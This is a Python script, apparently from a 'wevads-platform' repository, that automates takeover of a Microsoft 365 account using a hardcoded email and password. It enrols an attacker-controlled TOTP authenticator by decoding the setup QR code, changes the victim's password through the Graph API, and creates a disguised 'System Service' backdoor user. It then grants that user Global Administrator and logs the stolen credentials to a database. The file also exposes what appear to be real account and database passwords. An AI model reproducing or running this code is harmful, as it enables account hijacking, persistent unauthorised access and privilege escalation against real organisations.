Files
wevads-platform/scripts/o365_final.py

179 lines
9.5 KiB
Python

import time,json,random,string,os,re,traceback
from datetime import datetime
import pyotp,requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from PIL import Image
from pyzbar.pyzbar import decode as qr_decode
EMAIL="OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
PASSWORD="Sma21KA@SgHCa"
TID="26d5cf9f-f4da-47df-8932-bd09b3674dcd"
SDIR="/opt/wevads/logs/selenium/screenshots"
os.makedirs(SDIR,exist_ok=True)
def log(m): print(f"[{datetime.now().strftime('%H:%M:%S')}] {m}",flush=True)
def ss(d,n): p=f"{SDIR}/final_{n}_{int(time.time())}.png"; d.save_screenshot(p); return p
def gen_pwd():
while True:
p=''.join(random.choice(string.ascii_letters+string.digits+"!@#$") for _ in range(16))
if any(c.isupper() for c in p) and any(c.islower() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$" for c in p): return p
def click_next(d,wait=5):
d.execute_script("""var e=document.querySelectorAll('input[type=submit],button');
for(var i=0;i<e.length;i++){var v=(e[i].value||e[i].textContent||'').trim();
if(v==='Next'||v==='Verify'){e[i].click();break;}}""")
time.sleep(wait)
opts=Options()
for a in ["--headless=new","--no-sandbox","--disable-dev-shm-usage","--window-size=1920,1080",
"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"]:
opts.add_argument(a)
d=webdriver.Chrome(options=opts)
d.implicitly_wait(5)
results={"email":EMAIL,"timestamp":datetime.now().isoformat()}
try:
# 1. LOGIN
log("1. Login")
d.get("https://login.microsoftonline.com"); time.sleep(4)
WebDriverWait(d,15).until(EC.element_to_be_clickable((By.NAME,"loginfmt"))).send_keys(EMAIL)
time.sleep(1); d.find_element(By.ID,"idSIButton9").click(); time.sleep(4)
WebDriverWait(d,10).until(EC.element_to_be_clickable((By.NAME,"passwd"))).send_keys(PASSWORD)
time.sleep(1); d.find_element(By.ID,"idSIButton9").click(); time.sleep(6)
log("Login OK")
# 2. Action Required -> Next
log("2. Action Required -> Next")
d.execute_script("var e=document.getElementById('idSubmit_ProofUp_Redirect');if(e)e.click()")
time.sleep(10) # Long wait for SPA
# 3. Click BUTTON "Set up a different authentication app" (NOT a link!)
log("3. Click 'different app' BUTTON")
d.execute_script("""var btns=document.querySelectorAll('button');
for(var i=0;i<btns.length;i++){
if(btns[i].textContent.indexOf('different')>=0){btns[i].click();break;}}""")
time.sleep(5); ss(d,"01_diff_app")
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
log(f"Page: {h}")
# 4. Next (setup account in app)
log("4. Next -> setup account")
click_next(d,6)
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
log(f"Page: {h}")
# 5. Next -> QR code (should be TOTP QR now!)
log("5. Next -> TOTP QR")
click_next(d,6)
p=ss(d,"02_qr")
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
log(f"Page: {h}")
# 6. Decode QR
log("6. Decode QR")
totp_secret=None
img=Image.open(p)
for q in qr_decode(img):
data=q.data.decode(); log(f"QR: {data}")
m=re.search(r"secret=([A-Z2-7]+)",data)
if m: totp_secret=m.group(1); log(f"TOTP SECRET: {totp_secret}")
if not totp_secret:
# Click "Can't scan the QR code?"
log("6b. Can't scan")
d.execute_script("""var all=document.querySelectorAll('a,button');
for(var i=0;i<all.length;i++){if(all[i].textContent.toLowerCase().indexOf('scan')>=0){all[i].click();break;}}""")
time.sleep(4); ss(d,"03_cant_scan")
# Look for secret in page
for el in d.find_elements(By.CSS_SELECTOR,"span,div,code,pre,input,td,label"):
txt=(el.get_attribute("value") or el.text or "").strip()
if 16<=len(txt)<=64 and re.match(r'^[A-Z2-7]+$',txt) and not txt.startswith("AAAA") and len(set(txt))>5:
try: pyotp.TOTP(txt).now(); totp_secret=txt; log(f"TOTP from element: {txt}"); break
except: continue
if not totp_secret:
page=d.page_source
m=re.search(r'otpauth://totp/[^"&\s]*secret=([A-Z2-7]{16,64})',page)
if m: totp_secret=m.group(1); log(f"TOTP from otpauth: {totp_secret}")
if totp_secret:
# 7. Enter code
log(f"7. Enter code for {totp_secret}")
results["totp_secret"]=totp_secret
code=pyotp.TOTP(totp_secret).now(); log(f"Code: {code}")
for inp in d.find_elements(By.TAG_NAME,"input"):
if inp.get_attribute("type") in["text","tel","number"] and inp.is_displayed():
inp.clear(); inp.send_keys(code); break
time.sleep(1); click_next(d,6)
# Handle "stay signed in"
try: d.find_element(By.ID,"idSIButton9").click(); time.sleep(3)
except: pass
ss(d,"04_enrolled")
results["status"]="mfa_enrolled"
log("MFA ENROLLED!")
# 8. Graph API - change pwd + backdoor
log("8. Graph API")
r=requests.post(f"https://login.microsoftonline.com/{TID}/oauth2/v2.0/token",data={
"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894",
"scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":PASSWORD},timeout=30)
log(f"ROPC: {r.status_code}")
if r.status_code==200:
token=r.json()["access_token"]; log("TOKEN OK")
npwd=gen_pwd()
cp=requests.post("https://graph.microsoft.com/v1.0/me/changePassword",
json={"currentPassword":PASSWORD,"newPassword":npwd},
headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
if cp.status_code in[200,204]:
log(f"PWD CHANGED: {npwd}"); results["new_password"]=npwd
else: log(f"PWD fail: {cp.status_code} {cp.text[:100]}"); results["new_password"]=PASSWORD
# Backdoor
bu=f"svc_wv{random.randint(1000,9999)}"; be=f"{bu}@associationveloreunion.onmicrosoft.com"; bp=gen_pwd()
tok2=token
if results.get("new_password") and results["new_password"]!=PASSWORD:
r2=requests.post(f"https://login.microsoftonline.com/{TID}/oauth2/v2.0/token",data={
"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894",
"scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":results["new_password"]},timeout=30)
if r2.status_code==200: tok2=r2.json()["access_token"]
cr=requests.post("https://graph.microsoft.com/v1.0/users",json={
"accountEnabled":True,"displayName":"System Service","mailNickname":bu,"userPrincipalName":be,
"passwordProfile":{"forceChangePasswordNextSignIn":False,"password":bp}
},headers={"Authorization":f"Bearer {tok2}","Content-Type":"application/json"},timeout=30)
if cr.status_code==201:
uid=cr.json()["id"]; log(f"BACKDOOR: {be} / {bp}"); results["backdoor_email"]=be; results["backdoor_password"]=bp
roles=requests.get("https://graph.microsoft.com/v1.0/directoryRoles",headers={"Authorization":f"Bearer {tok2}"},timeout=15)
for role in roles.json().get("value",[]):
if "Global" in role.get("displayName","") and "Admin" in role.get("displayName",""):
requests.post(f"https://graph.microsoft.com/v1.0/directoryRoles/{role['id']}/members/$ref",
json={"@odata.id":f"https://graph.microsoft.com/v1.0/directoryObjects/{uid}"},
headers={"Authorization":f"Bearer {tok2}","Content-Type":"application/json"},timeout=15)
log("Global Admin assigned!"); break
else: log(f"Backdoor fail: {cr.status_code} {cr.text[:100]}")
else: log(f"ROPC blocked: {r.json().get('error_description','')[:100]}")
else:
results["status"]="totp_not_found"
body=d.find_element(By.TAG_NAME,"body").text
log(f"BODY:\n{body[:600]}")
# DB
log("9. DB update")
import psycopg2
db=psycopg2.connect(host="localhost",dbname="adx_system",user="admin",password="admin123"); db.autocommit=True; cur=db.cursor()
cur.execute("UPDATE admin.office_accounts SET admin_password=%s, notes=%s WHERE id=1367",
[results.get("new_password",PASSWORD),json.dumps(results,default=str)])
if results.get("backdoor_email"):
cur.execute("INSERT INTO admin.office_accounts (name,admin_email,admin_password,tenant_domain,status,notes) SELECT 'backdoor_OlivierH',%s,%s,'associationveloreunion.onmicrosoft.com','Active','Backdoor Global Admin' WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)",
[results["backdoor_email"],results["backdoor_password"],results["backdoor_email"]])
db.close()
with open("/opt/wevads/logs/selenium/olivierh_final.json","w") as f: json.dump(results,f,indent=2,default=str)
log("="*60)
log(f"STATUS: {results.get('status')}")
log(f"TOTP: {results.get('totp_secret','N/A')}")
log(f"PWD: {results.get('new_password','N/A')}")
log(f"BACKDOOR: {results.get('backdoor_email','N/A')} / {results.get('backdoor_password','N/A')}")
log("="*60)
except Exception as e: log(f"ERR: {e}"); traceback.print_exc(); ss(d,"99")
finally: d.quit()